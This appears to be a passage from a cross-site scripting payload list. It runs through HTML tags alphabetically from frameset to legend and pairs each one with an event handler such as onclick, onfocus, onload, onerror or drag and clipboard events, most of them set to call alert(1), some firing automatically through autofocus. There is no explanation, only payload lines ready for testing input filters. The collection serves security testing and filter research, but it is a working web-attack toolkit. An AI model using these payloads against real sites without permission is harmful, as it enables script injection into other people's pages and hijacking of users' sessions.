<frameset oncopy="alert(1)" contenteditable>test</frameset>
<frameset oncut="alert(1)" contenteditable>test</frameset>
<frameset ondblclick="alert(1)">test</frameset>
<frameset onfocusout=alert(1) tabindex=1 id=x></frameset><input autofocus>
<frameset onkeydown="alert(1)" contenteditable>test</frameset>
<frameset onkeypress="alert(1)" contenteditable>test</frameset>
<frameset onkeyup="alert(1)" contenteditable>test</frameset>
<frameset onmousedown="alert(1)">test</frameset>
<frameset onmouseenter="alert(1)">test</frameset>
<frameset onmouseleave="alert(1)">test</frameset>
<frameset onmousemove="alert(1)">test</frameset>
<frameset onmouseout="alert(1)">test</frameset>
<frameset onmouseover="alert(1)">test</frameset>
<frameset onmouseup="alert(1)">test</frameset>
<frameset onpageshow=alert(1)>
<frameset onpaste="alert(1)" contenteditable>test</frameset>
<frameset><frame id=x onfocus=alert(1)>
<frameset><frame id=x onfocusin=alert(1)>
<frameset><frame onload=alert(1)>
<h1 draggable="true" ondrag="alert(1)">test</h1>
<h1 draggable="true" ondragend="alert(1)">test</h1>
<h1 draggable="true" ondragenter="alert(1)">test</h1>
<h1 draggable="true" ondragleave="alert(1)">test</h1>
<h1 draggable="true" ondragstart="alert(1)">test</h1>
<h1 id=x tabindex=1 onactivate=alert(1)></h1>
<h1 id=x tabindex=1 onbeforeactivate=alert(1)></h1>
<h1 id=x tabindex=1 onbeforedeactivate=alert(1)></h1><input autofocus>
<h1 id=x tabindex=1 ondeactivate=alert(1)></h1><input id=y autofocus>
<h1 id=x tabindex=1 onfocus=alert(1)></h1>
<h1 id=x tabindex=1 onfocusin=alert(1)></h1>
<h1 onbeforecopy="alert(1)" contenteditable>test</h1>
<h1 onbeforecut="alert(1)" contenteditable>test</h1>
<h1 onbeforepaste="alert(1)" contenteditable>test</h1>
<h1 onblur=alert(1) tabindex=1 id=x></h1><input autofocus>
<h1 onclick="alert(1)">test</h1>
<h1 oncontextmenu="alert(1)">test</h1>
<h1 oncopy="alert(1)" contenteditable>test</h1>
<h1 oncut="alert(1)" contenteditable>test</h1>
<h1 ondblclick="alert(1)">test</h1>
<h1 onfocusout=alert(1) tabindex=1 id=x></h1><input autofocus>
<h1 onkeydown="alert(1)" contenteditable>test</h1>
<h1 onkeypress="alert(1)" contenteditable>test</h1>
<h1 onkeyup="alert(1)" contenteditable>test</h1>
<h1 onmousedown="alert(1)">test</h1>
<h1 onmouseenter="alert(1)">test</h1>
<h1 onmouseleave="alert(1)">test</h1>
<h1 onmousemove="alert(1)">test</h1>
<h1 onmouseout="alert(1)">test</h1>
<h1 onmouseover="alert(1)">test</h1>
<h1 onmouseup="alert(1)">test</h1>
<h1 onpaste="alert(1)" contenteditable>test</h1>
<head draggable="true" ondrag="alert(1)">test</head>
<head draggable="true" ondragend="alert(1)">test</head>
<head draggable="true" ondragenter="alert(1)">test</head>
<head draggable="true" ondragleave="alert(1)">test</head>
<head draggable="true" ondragstart="alert(1)">test</head>
<head id=x tabindex=1 onactivate=alert(1)></head>
<head id=x tabindex=1 onbeforeactivate=alert(1)></head>
<head id=x tabindex=1 onbeforedeactivate=alert(1)></head><input autofocus>
<head id=x tabindex=1 ondeactivate=alert(1)></head><input id=y autofocus>
<head id=x tabindex=1 onfocus=alert(1)></head>
<head id=x tabindex=1 onfocusin=alert(1)></head>
<head onbeforecopy="alert(1)" contenteditable>test</head>
<head onbeforecut="alert(1)" contenteditable>test</head>
<head onbeforepaste="alert(1)" contenteditable>test</head>
<head onblur=alert(1) tabindex=1 id=x></head><input autofocus>
<head onclick="alert(1)">test</head>
<head oncontextmenu="alert(1)">test</head>
<head oncopy="alert(1)" contenteditable>test</head>
<head oncut="alert(1)" contenteditable>test</head>
<head ondblclick="alert(1)">test</head>
<head onfocusout=alert(1) tabindex=1 id=x></head><input autofocus>
<head onkeydown="alert(1)" contenteditable>test</head>
<head onkeypress="alert(1)" contenteditable>test</head>
<head onkeyup="alert(1)" contenteditable>test</head>
<head onmousedown="alert(1)">test</head>
<head onmouseenter="alert(1)">test</head>
<head onmouseleave="alert(1)">test</head>
<head onmousemove="alert(1)">test</head>
<head onmouseout="alert(1)">test</head>
<head onmouseover="alert(1)">test</head>
<head onmouseup="alert(1)">test</head>
<head onpaste="alert(1)" contenteditable>test</head>
<header draggable="true" ondrag="alert(1)">test</header>
<header draggable="true" ondragend="alert(1)">test</header>
<header draggable="true" ondragenter="alert(1)">test</header>
<header draggable="true" ondragleave="alert(1)">test</header>
<header draggable="true" ondragstart="alert(1)">test</header>
<header id=x tabindex=1 onactivate=alert(1)></header>
<header id=x tabindex=1 onbeforeactivate=alert(1)></header>
<header id=x tabindex=1 onbeforedeactivate=alert(1)></header><input autofocus>
<header id=x tabindex=1 ondeactivate=alert(1)></header><input id=y autofocus>
<header id=x tabindex=1 onfocus=alert(1)></header>
<header id=x tabindex=1 onfocusin=alert(1)></header>
<header onbeforecopy="alert(1)" contenteditable>test</header>
<header onbeforecut="alert(1)" contenteditable>test</header>
<header onbeforepaste="alert(1)" contenteditable>test</header>
<header onblur=alert(1) tabindex=1 id=x></header><input autofocus>
<header onclick="alert(1)">test</header>
<header oncontextmenu="alert(1)">test</header>
<header oncopy="alert(1)" contenteditable>test</header>
<header oncut="alert(1)" contenteditable>test</header>
<header ondblclick="alert(1)">test</header>
<header onfocusout=alert(1) tabindex=1 id=x></header><input autofocus>
<header onkeydown="alert(1)" contenteditable>test</header>
<header onkeypress="alert(1)" contenteditable>test</header>
<header onkeyup="alert(1)" contenteditable>test</header>
<header onmousedown="alert(1)">test</header>
<header onmouseenter="alert(1)">test</header>
<header onmouseleave="alert(1)">test</header>
<header onmousemove="alert(1)">test</header>
<header onmouseout="alert(1)">test</header>
<header onmouseover="alert(1)">test</header>
<header onmouseup="alert(1)">test</header>
<header onpaste="alert(1)" contenteditable>test</header>
<hgroup draggable="true" ondrag="alert(1)">test</hgroup>
<hgroup draggable="true" ondragend="alert(1)">test</hgroup>
<hgroup draggable="true" ondragenter="alert(1)">test</hgroup>
<hgroup draggable="true" ondragleave="alert(1)">test</hgroup>
<hgroup draggable="true" ondragstart="alert(1)">test</hgroup>
<hgroup id=x tabindex=1 onactivate=alert(1)></hgroup>
<hgroup id=x tabindex=1 onbeforeactivate=alert(1)></hgroup>
<hgroup id=x tabindex=1 onbeforedeactivate=alert(1)></hgroup><input autofocus>
<hgroup id=x tabindex=1 ondeactivate=alert(1)></hgroup><input id=y autofocus>
<hgroup id=x tabindex=1 onfocus=alert(1)></hgroup>
<hgroup id=x tabindex=1 onfocusin=alert(1)></hgroup>
<hgroup onbeforecopy="alert(1)" contenteditable>test</hgroup>
<hgroup onbeforecut="alert(1)" contenteditable>test</hgroup>
<hgroup onbeforepaste="alert(1)" contenteditable>test</hgroup>
<hgroup onblur=alert(1) tabindex=1 id=x></hgroup><input autofocus>
<hgroup onclick="alert(1)">test</hgroup>
<hgroup oncontextmenu="alert(1)">test</hgroup>
<hgroup oncopy="alert(1)" contenteditable>test</hgroup>
<hgroup oncut="alert(1)" contenteditable>test</hgroup>
<hgroup ondblclick="alert(1)">test</hgroup>
<hgroup onfocusout=alert(1) tabindex=1 id=x></hgroup><input autofocus>
<hgroup onkeydown="alert(1)" contenteditable>test</hgroup>
<hgroup onkeypress="alert(1)" contenteditable>test</hgroup>
<hgroup onkeyup="alert(1)" contenteditable>test</hgroup>
<hgroup onmousedown="alert(1)">test</hgroup>
<hgroup onmouseenter="alert(1)">test</hgroup>
<hgroup onmouseleave="alert(1)">test</hgroup>
<hgroup onmousemove="alert(1)">test</hgroup>
<hgroup onmouseout="alert(1)">test</hgroup>
<hgroup onmouseover="alert(1)">test</hgroup>
<hgroup onmouseup="alert(1)">test</hgroup>
<hgroup onpaste="alert(1)" contenteditable>test</hgroup>
<hr draggable="true" ondrag="alert(1)">test</hr>
<hr draggable="true" ondragend="alert(1)">test</hr>
<hr draggable="true" ondragenter="alert(1)">test</hr>
<hr draggable="true" ondragleave="alert(1)">test</hr>
<hr draggable="true" ondragstart="alert(1)">test</hr>
<hr id=x tabindex=1 onactivate=alert(1)></hr>
<hr id=x tabindex=1 onbeforeactivate=alert(1)></hr>
<hr id=x tabindex=1 onbeforedeactivate=alert(1)></hr><input autofocus>
<hr id=x tabindex=1 ondeactivate=alert(1)></hr><input id=y autofocus>
<hr id=x tabindex=1 onfocus=alert(1)></hr>
<hr id=x tabindex=1 onfocusin=alert(1)></hr>
<hr onbeforecopy="alert(1)" contenteditable>test</hr>
<hr onbeforecut="alert(1)" contenteditable>test</hr>
<hr onbeforepaste="alert(1)" contenteditable>test</hr>
<hr onblur=alert(1) tabindex=1 id=x></hr><input autofocus>
<hr onclick="alert(1)">test</hr>
<hr oncontextmenu="alert(1)">test</hr>
<hr oncopy="alert(1)" contenteditable>test</hr>
<hr oncut="alert(1)" contenteditable>test</hr>
<hr ondblclick="alert(1)">test</hr>
<hr onfocusout=alert(1) tabindex=1 id=x></hr><input autofocus>
<hr onkeydown="alert(1)" contenteditable>test</hr>
<hr onkeypress="alert(1)" contenteditable>test</hr>
<hr onkeyup="alert(1)" contenteditable>test</hr>
<hr onmousedown="alert(1)">test</hr>
<hr onmouseenter="alert(1)">test</hr>
<hr onmouseleave="alert(1)">test</hr>
<hr onmousemove="alert(1)">test</hr>
<hr onmouseout="alert(1)">test</hr>
<hr onmouseover="alert(1)">test</hr>
<hr onmouseup="alert(1)">test</hr>
<hr onpaste="alert(1)" contenteditable>test</hr>
<html draggable="true" ondrag="alert(1)">test</html>
<html draggable="true" ondragend="alert(1)">test</html>
<html draggable="true" ondragenter="alert(1)">test</html>
<html draggable="true" ondragleave="alert(1)">test</html>
<html draggable="true" ondragstart="alert(1)">test</html>
<html id=x tabindex=1 onactivate=alert(1)></html>
<html id=x tabindex=1 onbeforeactivate=alert(1)></html>
<html id=x tabindex=1 onbeforedeactivate=alert(1)></html><input autofocus>
<html id=x tabindex=1 ondeactivate=alert(1)></html><input id=y autofocus>
<html id=x tabindex=1 onfocus=alert(1)></html>
<html id=x tabindex=1 onfocusin=alert(1)></html>
<html onbeforecopy="alert(1)" contenteditable>test</html>
<html onbeforecut="alert(1)" contenteditable>test</html>
<html onbeforepaste="alert(1)" contenteditable>test</html>
<html onblur=alert(1) tabindex=1 id=x></html><input autofocus>
<html onclick="alert(1)">test</html>
<html oncontextmenu="alert(1)">test</html>
<html oncopy="alert(1)" contenteditable>test</html>
<html oncut="alert(1)" contenteditable>test</html>
<html ondblclick="alert(1)">test</html>
<html onfocusout=alert(1) tabindex=1 id=x></html><input autofocus>
<html onkeydown="alert(1)" contenteditable>test</html>
<html onkeypress="alert(1)" contenteditable>test</html>
<html onkeyup="alert(1)" contenteditable>test</html>
<html onmousedown="alert(1)">test</html>
<html onmouseenter="alert(1)">test</html>
<html onmouseleave="alert(1)">test</html>
<html onmousemove="alert(1)">test</html>
<html onmouseout="alert(1)">test</html>
<html onmouseover="alert(1)">test</html>
<html onmouseup="alert(1)">test</html>
<html onpaste="alert(1)" contenteditable>test</html>
<i draggable="true" ondrag="alert(1)">test</i>
<i draggable="true" ondragend="alert(1)">test</i>
<i draggable="true" ondragenter="alert(1)">test</i>
<i draggable="true" ondragleave="alert(1)">test</i>
<i draggable="true" ondragstart="alert(1)">test</i>
<i id=x tabindex=1 onactivate=alert(1)></i>
<i id=x tabindex=1 onbeforeactivate=alert(1)></i>
<i id=x tabindex=1 onbeforedeactivate=alert(1)></i><input autofocus>
<i id=x tabindex=1 ondeactivate=alert(1)></i><input id=y autofocus>
<i id=x tabindex=1 onfocus=alert(1)></i>
<i id=x tabindex=1 onfocusin=alert(1)></i>
<i onbeforecopy="alert(1)" contenteditable>test</i>
<i onbeforecut="alert(1)" contenteditable>test</i>
<i onbeforepaste="alert(1)" contenteditable>test</i>
<i onblur=alert(1) tabindex=1 id=x></i><input autofocus>
<i onclick="alert(1)">test</i>
<i oncontextmenu="alert(1)">test</i>
<i oncopy="alert(1)" contenteditable>test</i>
<i oncut="alert(1)" contenteditable>test</i>
<i ondblclick="alert(1)">test</i>
<i onfocusout=alert(1) tabindex=1 id=x></i><input autofocus>
<i onkeydown="alert(1)" contenteditable>test</i>
<i onkeypress="alert(1)" contenteditable>test</i>
<i onkeyup="alert(1)" contenteditable>test</i>
<i onmousedown="alert(1)">test</i>
<i onmouseenter="alert(1)">test</i>
<i onmouseleave="alert(1)">test</i>
<i onmousemove="alert(1)">test</i>
<i onmouseout="alert(1)">test</i>
<i onmouseover="alert(1)">test</i>
<i onmouseup="alert(1)">test</i>
<i onpaste="alert(1)" contenteditable>test</i>
<iframe draggable="true" ondrag="alert(1)">test</iframe>
<iframe draggable="true" ondragend="alert(1)">test</iframe>
<iframe draggable="true" ondragenter="alert(1)">test</iframe>
<iframe draggable="true" ondragleave="alert(1)">test</iframe>
<iframe draggable="true" ondragstart="alert(1)">test</iframe>
<iframe id=x onfocus=alert(1)>
<iframe id=x onfocusin=alert(1)>
<iframe id=x tabindex=1 onactivate=alert(1)></iframe>
<iframe id=x tabindex=1 onbeforeactivate=alert(1)></iframe>
<iframe id=x tabindex=1 onbeforedeactivate=alert(1)></iframe><input autofocus>
<iframe id=x tabindex=1 ondeactivate=alert(1)></iframe><input id=y autofocus>
<iframe onbeforecopy="alert(1)" contenteditable>test</iframe>
<iframe onbeforecut="alert(1)" contenteditable>test</iframe>
<iframe onbeforepaste="alert(1)" contenteditable>test</iframe>
<iframe onblur=alert(1) id=x><input autofocus>
<iframe onclick="alert(1)">test</iframe>
<iframe oncontextmenu="alert(1)">test</iframe>
<iframe oncopy="alert(1)" contenteditable>test</iframe>
<iframe oncut="alert(1)" contenteditable>test</iframe>
<iframe ondblclick="alert(1)">test</iframe>
<iframe onfocusout=alert(1) id=x><input autofocus>
<iframe onkeydown="alert(1)" contenteditable>test</iframe>
<iframe onkeypress="alert(1)" contenteditable>test</iframe>
<iframe onkeyup="alert(1)" contenteditable>test</iframe>
<iframe onload=alert(1)></iframe>
<iframe onmousedown="alert(1)">test</iframe>
<iframe onmouseenter="alert(1)">test</iframe>
<iframe onmouseleave="alert(1)">test</iframe>
<iframe onmousemove="alert(1)">test</iframe>
<iframe onmouseout="alert(1)">test</iframe>
<iframe onmouseover="alert(1)">test</iframe>
<iframe onmouseup="alert(1)">test</iframe>
<iframe onpaste="alert(1)" contenteditable>test</iframe>
<iframe onreadystatechange=alert(1)></iframe>
<image draggable="true" ondrag="alert(1)">test</image>
<image draggable="true" ondragend="alert(1)">test</image>
<image draggable="true" ondragenter="alert(1)">test</image>
<image draggable="true" ondragleave="alert(1)">test</image>
<image draggable="true" ondragstart="alert(1)">test</image>
<image id=x tabindex=1 onactivate=alert(1)></image>
<image id=x tabindex=1 onbeforeactivate=alert(1)></image>
<image id=x tabindex=1 onbeforedeactivate=alert(1)></image><input autofocus>
<image id=x tabindex=1 ondeactivate=alert(1)></image><input id=y autofocus>
<image id=x tabindex=1 onfocus=alert(1)></image>
<image id=x tabindex=1 onfocusin=alert(1)></image>
<image onbeforecopy="alert(1)" contenteditable>test</image>
<image onbeforecut="alert(1)" contenteditable>test</image>
<image onbeforepaste="alert(1)" contenteditable>test</image>
<image onblur=alert(1) tabindex=1 id=x></image><input autofocus>
<image onclick="alert(1)">test</image>
<image oncontextmenu="alert(1)">test</image>
<image oncopy="alert(1)" contenteditable>test</image>
<image oncut="alert(1)" contenteditable>test</image>
<image ondblclick="alert(1)">test</image>
<image onfocusout=alert(1) tabindex=1 id=x></image><input autofocus>
<image onkeydown="alert(1)" contenteditable>test</image>
<image onkeypress="alert(1)" contenteditable>test</image>
<image onkeyup="alert(1)" contenteditable>test</image>
<image onmousedown="alert(1)">test</image>
<image onmouseenter="alert(1)">test</image>
<image onmouseleave="alert(1)">test</image>
<image onmousemove="alert(1)">test</image>
<image onmouseout="alert(1)">test</image>
<image onmouseover="alert(1)">test</image>
<image onmouseup="alert(1)">test</image>
<image onpaste="alert(1)" contenteditable>test</image>
<image src/onerror=alert(1)>
<image src=validimage.png onload=alert(1)>
<image src=validimage.png onloadend=alert(1)>
<image src=validimage.png onloadstart=alert(1)>
<image srcset=1 onerror=alert(1)>
<img draggable="true" ondrag="alert(1)">test</img>
<img draggable="true" ondragend="alert(1)">test</img>
<img draggable="true" ondragenter="alert(1)">test</img>
<img draggable="true" ondragleave="alert(1)">test</img>
<img draggable="true" ondragstart="alert(1)">test</img>
<img id=x tabindex=1 onactivate=alert(1)></img>
<img id=x tabindex=1 onbeforeactivate=alert(1)></img>
<img id=x tabindex=1 onbeforedeactivate=alert(1)></img><input autofocus>
<img id=x tabindex=1 ondeactivate=alert(1)></img><input id=y autofocus>
<img id=x tabindex=1 onfocus=alert(1)></img>
<img id=x tabindex=1 onfocusin=alert(1)></img>
<img onbeforecopy="alert(1)" contenteditable>test</img>
<img onbeforecut="alert(1)" contenteditable>test</img>
<img onbeforepaste="alert(1)" contenteditable>test</img>
<img onblur=alert(1) tabindex=1 id=x></img><input autofocus>
<img onclick="alert(1)">test</img>
<img oncontextmenu="alert(1)">test</img>
<img oncopy="alert(1)" contenteditable>test</img>
<img oncut="alert(1)" contenteditable>test</img>
<img ondblclick="alert(1)">test</img>
<img onfocusout=alert(1) tabindex=1 id=x></img><input autofocus>
<img onkeydown="alert(1)" contenteditable>test</img>
<img onkeypress="alert(1)" contenteditable>test</img>
<img onkeyup="alert(1)" contenteditable>test</img>
<img onmousedown="alert(1)">test</img>
<img onmouseenter="alert(1)">test</img>
<img onmouseleave="alert(1)">test</img>
<img onmousemove="alert(1)">test</img>
<img onmouseout="alert(1)">test</img>
<img onmouseover="alert(1)">test</img>
<img onmouseup="alert(1)">test</img>
<img onpaste="alert(1)" contenteditable>test</img>
<img src/onerror=alert(1)>
<img src=validimage.png onload=alert(1)>
<img src=validimage.png onloadend=alert(1)>
<img src=validimage.png onloadstart=alert(1)>
<img srcset=1 onerror=alert(1)>
<img srcset=validimage.png onload=alert(1)>
<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x>
<img usemap=#x><map name="x"><area href onfocusin=alert(1) id=x>
<input autofocus onfocus=alert(1)>
<input autofocus onfocusin=alert(1)>
<input draggable="true" ondrag="alert(1)">test</input>
<input draggable="true" ondragend="alert(1)">test</input>
<input draggable="true" ondragenter="alert(1)">test</input>
<input draggable="true" ondragleave="alert(1)">test</input>
<input draggable="true" ondragstart="alert(1)">test</input>
<input id=x onfocus=alert(1)>
<input id=x onfocusin=alert(1)>
<input id=x tabindex=1 onactivate=alert(1)></input>
<input id=x tabindex=1 onbeforeactivate=alert(1)></input>
<input id=x tabindex=1 onbeforedeactivate=alert(1)></input><input autofocus>
<input id=x tabindex=1 ondeactivate=alert(1)></input><input id=y autofocus>
<input onauxclick=alert(1)>
<input onbeforecopy=alert(1) value="XSS" autofocus>
<input onbeforecut=alert(1) value="XSS" autofocus>
<input onbeforepaste=alert(1) value="" autofocus>
<input onblur=alert(1) id=x><input autofocus>
<input onchange=alert(1) value=xss>
<input onclick="alert(1)">test</input>
<input oncontextmenu="alert(1)">test</input>
<input oncopy=alert(1) value="XSS" autofocus>
<input oncut=alert(1) value="XSS" autofocus>
<input ondblclick="alert(1)">test</input>
<input onfocusout=alert(1) id=x><input autofocus>
<input oninput=alert(1) value=xss>
<input onkeydown="alert(1)" contenteditable>test</input>
<input onkeypress="alert(1)" contenteditable>test</input>
<input onkeyup="alert(1)" contenteditable>test</input>
<input onmousedown="alert(1)">test</input>
<input onmouseenter="alert(1)">test</input>
<input onmouseleave="alert(1)">test</input>
<input onmousemove="alert(1)">test</input>
<input onmouseout="alert(1)">test</input>
<input onmouseover="alert(1)">test</input>
<input onmouseup="alert(1)">test</input>
<input onpaste=alert(1) value="" autofocus>
<input onselect=alert(1) value="XSS" autofocus>
<input type=checkbox id=x onfocus=alert(1)>
<input type=checkbox id=x onfocusin=alert(1)>
<input type=image onloadend=alert(1) src=validimage.png>
<input type=image onloadstart=alert(1) src=validimage.png>
<input type=image src=1 onerror=alert(1)>
<input type=image src=validimage.png onload=alert(1)>
<input type=radio id=x onfocus=alert(1)>
<input type=radio id=x onfocusin=alert(1)>
<ins draggable="true" ondrag="alert(1)">test</ins>
<ins draggable="true" ondragend="alert(1)">test</ins>
<ins draggable="true" ondragenter="alert(1)">test</ins>
<ins draggable="true" ondragleave="alert(1)">test</ins>
<ins draggable="true" ondragstart="alert(1)">test</ins>
<ins id=x tabindex=1 onactivate=alert(1)></ins>
<ins id=x tabindex=1 onbeforeactivate=alert(1)></ins>
<ins id=x tabindex=1 onbeforedeactivate=alert(1)></ins><input autofocus>
<ins id=x tabindex=1 ondeactivate=alert(1)></ins><input id=y autofocus>
<ins id=x tabindex=1 onfocus=alert(1)></ins>
<ins id=x tabindex=1 onfocusin=alert(1)></ins>
<ins onbeforecopy="alert(1)" contenteditable>test</ins>
<ins onbeforecut="alert(1)" contenteditable>test</ins>
<ins onbeforepaste="alert(1)" contenteditable>test</ins>
<ins onblur=alert(1) tabindex=1 id=x></ins><input autofocus>
<ins onclick="alert(1)">test</ins>
<ins oncontextmenu="alert(1)">test</ins>
<ins oncopy="alert(1)" contenteditable>test</ins>
<ins oncut="alert(1)" contenteditable>test</ins>
<ins ondblclick="alert(1)">test</ins>
<ins onfocusout=alert(1) tabindex=1 id=x></ins><input autofocus>
<ins onkeydown="alert(1)" contenteditable>test</ins>
<ins onkeypress="alert(1)" contenteditable>test</ins>
<ins onkeyup="alert(1)" contenteditable>test</ins>
<ins onmousedown="alert(1)">test</ins>
<ins onmouseenter="alert(1)">test</ins>
<ins onmouseleave="alert(1)">test</ins>
<ins onmousemove="alert(1)">test</ins>
<ins onmouseout="alert(1)">test</ins>
<ins onmouseover="alert(1)">test</ins>
<ins onmouseup="alert(1)">test</ins>
<ins onpaste="alert(1)" contenteditable>test</ins>
<isindex draggable="true" ondrag="alert(1)">test</isindex>
<isindex draggable="true" ondragend="alert(1)">test</isindex>
<isindex draggable="true" ondragenter="alert(1)">test</isindex>
<isindex draggable="true" ondragleave="alert(1)">test</isindex>
<isindex draggable="true" ondragstart="alert(1)">test</isindex>
<isindex id=x tabindex=1 onactivate=alert(1)></isindex>
<isindex id=x tabindex=1 onbeforeactivate=alert(1)></isindex>
<isindex id=x tabindex=1 onbeforedeactivate=alert(1)></isindex><input autofocus>
<isindex id=x tabindex=1 ondeactivate=alert(1)></isindex><input id=y autofocus>
<isindex id=x tabindex=1 onfocus=alert(1)></isindex>
<isindex id=x tabindex=1 onfocusin=alert(1)></isindex>
<isindex onbeforecopy="alert(1)" contenteditable>test</isindex>
<isindex onbeforecut="alert(1)" contenteditable>test</isindex>
<isindex onbeforepaste="alert(1)" contenteditable>test</isindex>
<isindex onblur=alert(1) tabindex=1 id=x></isindex><input autofocus>
<isindex onclick="alert(1)">test</isindex>
<isindex oncontextmenu="alert(1)">test</isindex>
<isindex oncopy="alert(1)" contenteditable>test</isindex>
<isindex oncut="alert(1)" contenteditable>test</isindex>
<isindex ondblclick="alert(1)">test</isindex>
<isindex onfocusout=alert(1) tabindex=1 id=x></isindex><input autofocus>
<isindex onkeydown="alert(1)" contenteditable>test</isindex>
<isindex onkeypress="alert(1)" contenteditable>test</isindex>
<isindex onkeyup="alert(1)" contenteditable>test</isindex>
<isindex onmousedown="alert(1)">test</isindex>
<isindex onmouseenter="alert(1)">test</isindex>
<isindex onmouseleave="alert(1)">test</isindex>
<isindex onmousemove="alert(1)">test</isindex>
<isindex onmouseout="alert(1)">test</isindex>
<isindex onmouseover="alert(1)">test</isindex>
<isindex onmouseup="alert(1)">test</isindex>
<isindex onpaste="alert(1)" contenteditable>test</isindex>
<isindex type=image onload=alert(1) src=validimage.png>
<isindex type=image src=1 onerror=alert(1)>
<kbd draggable="true" ondrag="alert(1)">test</kbd>
<kbd draggable="true" ondragend="alert(1)">test</kbd>
<kbd draggable="true" ondragenter="alert(1)">test</kbd>
<kbd draggable="true" ondragleave="alert(1)">test</kbd>
<kbd draggable="true" ondragstart="alert(1)">test</kbd>
<kbd id=x tabindex=1 onactivate=alert(1)></kbd>
<kbd id=x tabindex=1 onbeforeactivate=alert(1)></kbd>
<kbd id=x tabindex=1 onbeforedeactivate=alert(1)></kbd><input autofocus>
<kbd id=x tabindex=1 ondeactivate=alert(1)></kbd><input id=y autofocus>
<kbd id=x tabindex=1 onfocus=alert(1)></kbd>
<kbd id=x tabindex=1 onfocusin=alert(1)></kbd>
<kbd onbeforecopy="alert(1)" contenteditable>test</kbd>
<kbd onbeforecut="alert(1)" contenteditable>test</kbd>
<kbd onbeforepaste="alert(1)" contenteditable>test</kbd>
<kbd onblur=alert(1) tabindex=1 id=x></kbd><input autofocus>
<kbd onclick="alert(1)">test</kbd>
<kbd oncontextmenu="alert(1)">test</kbd>
<kbd oncopy="alert(1)" contenteditable>test</kbd>
<kbd oncut="alert(1)" contenteditable>test</kbd>
<kbd ondblclick="alert(1)">test</kbd>
<kbd onfocusout=alert(1) tabindex=1 id=x></kbd><input autofocus>
<kbd onkeydown="alert(1)" contenteditable>test</kbd>
<kbd onkeypress="alert(1)" contenteditable>test</kbd>
<kbd onkeyup="alert(1)" contenteditable>test</kbd>
<kbd onmousedown="alert(1)">test</kbd>
<kbd onmouseenter="alert(1)">test</kbd>
<kbd onmouseleave="alert(1)">test</kbd>
<kbd onmousemove="alert(1)">test</kbd>
<kbd onmouseout="alert(1)">test</kbd>
<kbd onmouseover="alert(1)">test</kbd>
<kbd onmouseup="alert(1)">test</kbd>
<kbd onpaste="alert(1)" contenteditable>test</kbd>
<keygen autofocus onfocus=alert(1)>
<keygen autofocus onfocusin=alert(1)>
<keygen draggable="true" ondrag="alert(1)">test</keygen>
<keygen draggable="true" ondragend="alert(1)">test</keygen>
<keygen draggable="true" ondragenter="alert(1)">test</keygen>
<keygen draggable="true" ondragleave="alert(1)">test</keygen>
<keygen draggable="true" ondragstart="alert(1)">test</keygen>
<keygen id=x onfocus=alert(1)>
<keygen id=x onfocusin=alert(1)>
<keygen id=x tabindex=1 onactivate=alert(1)></keygen>
<keygen id=x tabindex=1 onbeforeactivate=alert(1)></keygen>
<keygen id=x tabindex=1 onbeforedeactivate=alert(1)></keygen><input autofocus>
<keygen id=x tabindex=1 ondeactivate=alert(1)></keygen><input id=y autofocus>
<keygen onbeforecopy="alert(1)" contenteditable>test</keygen>
<keygen onbeforecut="alert(1)" contenteditable>test</keygen>
<keygen onbeforepaste="alert(1)" contenteditable>test</keygen>
<keygen onblur=alert(1) tabindex=1 id=x></keygen><input autofocus>
<keygen onclick="alert(1)">test</keygen>
<keygen oncontextmenu="alert(1)">test</keygen>
<keygen oncopy="alert(1)" contenteditable>test</keygen>
<keygen oncut="alert(1)" contenteditable>test</keygen>
<keygen ondblclick="alert(1)">test</keygen>
<keygen onfocusout=alert(1) tabindex=1 id=x></keygen><input autofocus>
<keygen onkeydown="alert(1)" contenteditable>test</keygen>
<keygen onkeypress="alert(1)" contenteditable>test</keygen>
<keygen onkeyup="alert(1)" contenteditable>test</keygen>
<keygen onmousedown="alert(1)">test</keygen>
<keygen onmouseenter="alert(1)">test</keygen>
<keygen onmouseleave="alert(1)">test</keygen>
<keygen onmousemove="alert(1)">test</keygen>
<keygen onmouseout="alert(1)">test</keygen>
<keygen onmouseover="alert(1)">test</keygen>
<keygen onmouseup="alert(1)">test</keygen>
<keygen onpaste="alert(1)" contenteditable>test</keygen>
<label draggable="true" ondrag="alert(1)">test</label>
<label draggable="true" ondragend="alert(1)">test</label>
<label draggable="true" ondragenter="alert(1)">test</label>
<label draggable="true" ondragleave="alert(1)">test</label>
<label draggable="true" ondragstart="alert(1)">test</label>
<label id=x tabindex=1 onactivate=alert(1)></label>
<label id=x tabindex=1 onbeforeactivate=alert(1)></label>
<label id=x tabindex=1 onbeforedeactivate=alert(1)></label><input autofocus>
<label id=x tabindex=1 ondeactivate=alert(1)></label><input id=y autofocus>
<label id=x tabindex=1 onfocus=alert(1)></label>
<label id=x tabindex=1 onfocusin=alert(1)></label>
<label onbeforecopy="alert(1)" contenteditable>test</label>
<label onbeforecut="alert(1)" contenteditable>test</label>
<label onbeforepaste="alert(1)" contenteditable>test</label>
<label onblur=alert(1) tabindex=1 id=x></label><input autofocus>
<label onclick="alert(1)">test</label>
<label oncontextmenu="alert(1)">test</label>
<label oncopy="alert(1)" contenteditable>test</label>
<label oncut="alert(1)" contenteditable>test</label>
<label ondblclick="alert(1)">test</label>
<label onfocusout=alert(1) tabindex=1 id=x></label><input autofocus>
<label onkeydown="alert(1)" contenteditable>test</label>
<label onkeypress="alert(1)" contenteditable>test</label>
<label onkeyup="alert(1)" contenteditable>test</label>
<label onmousedown="alert(1)">test</label>
<label onmouseenter="alert(1)">test</label>
<label onmouseleave="alert(1)">test</label>
<label onmousemove="alert(1)">test</label>
<label onmouseout="alert(1)">test</label>
<label onmouseover="alert(1)">test</label>
<label onmouseup="alert(1)">test</label>
<label onpaste="alert(1)" contenteditable>test</label>
<legend draggable="true" ondrag="alert(1)">test</legend>
<legend draggable="true" ondragend="alert(1)">test</legend>
<legend draggable="true" ondragenter="alert(1)">test</legend>
<legend draggable="true" ondragleave="alert(1)">test</legend>
<legend draggable="true" ondragstart="alert(1)">test</legend>
<legend id=x tabindex=1 onactivate=alert(1)></legend>
<legend id=x tabindex=1 onbeforeactivate=alert(1)></legend>
<legend id=x tabindex=1 onbeforedeactivate=alert(1)></legend><input autofocus>
<legend id=x tabindex=1 ondeactivate=alert(1)></legend><input id=y autofocus>
<legend id=x tabindex=1 onfocus=alert(1)></legend>
<legend id=x tabindex=1 onfocusin=alert(1)></legend>
<legend onbeforecopy="alert(1)" contenteditable>test</legend>
<legend onbeforecut="alert(1)" contenteditable>test</legend>
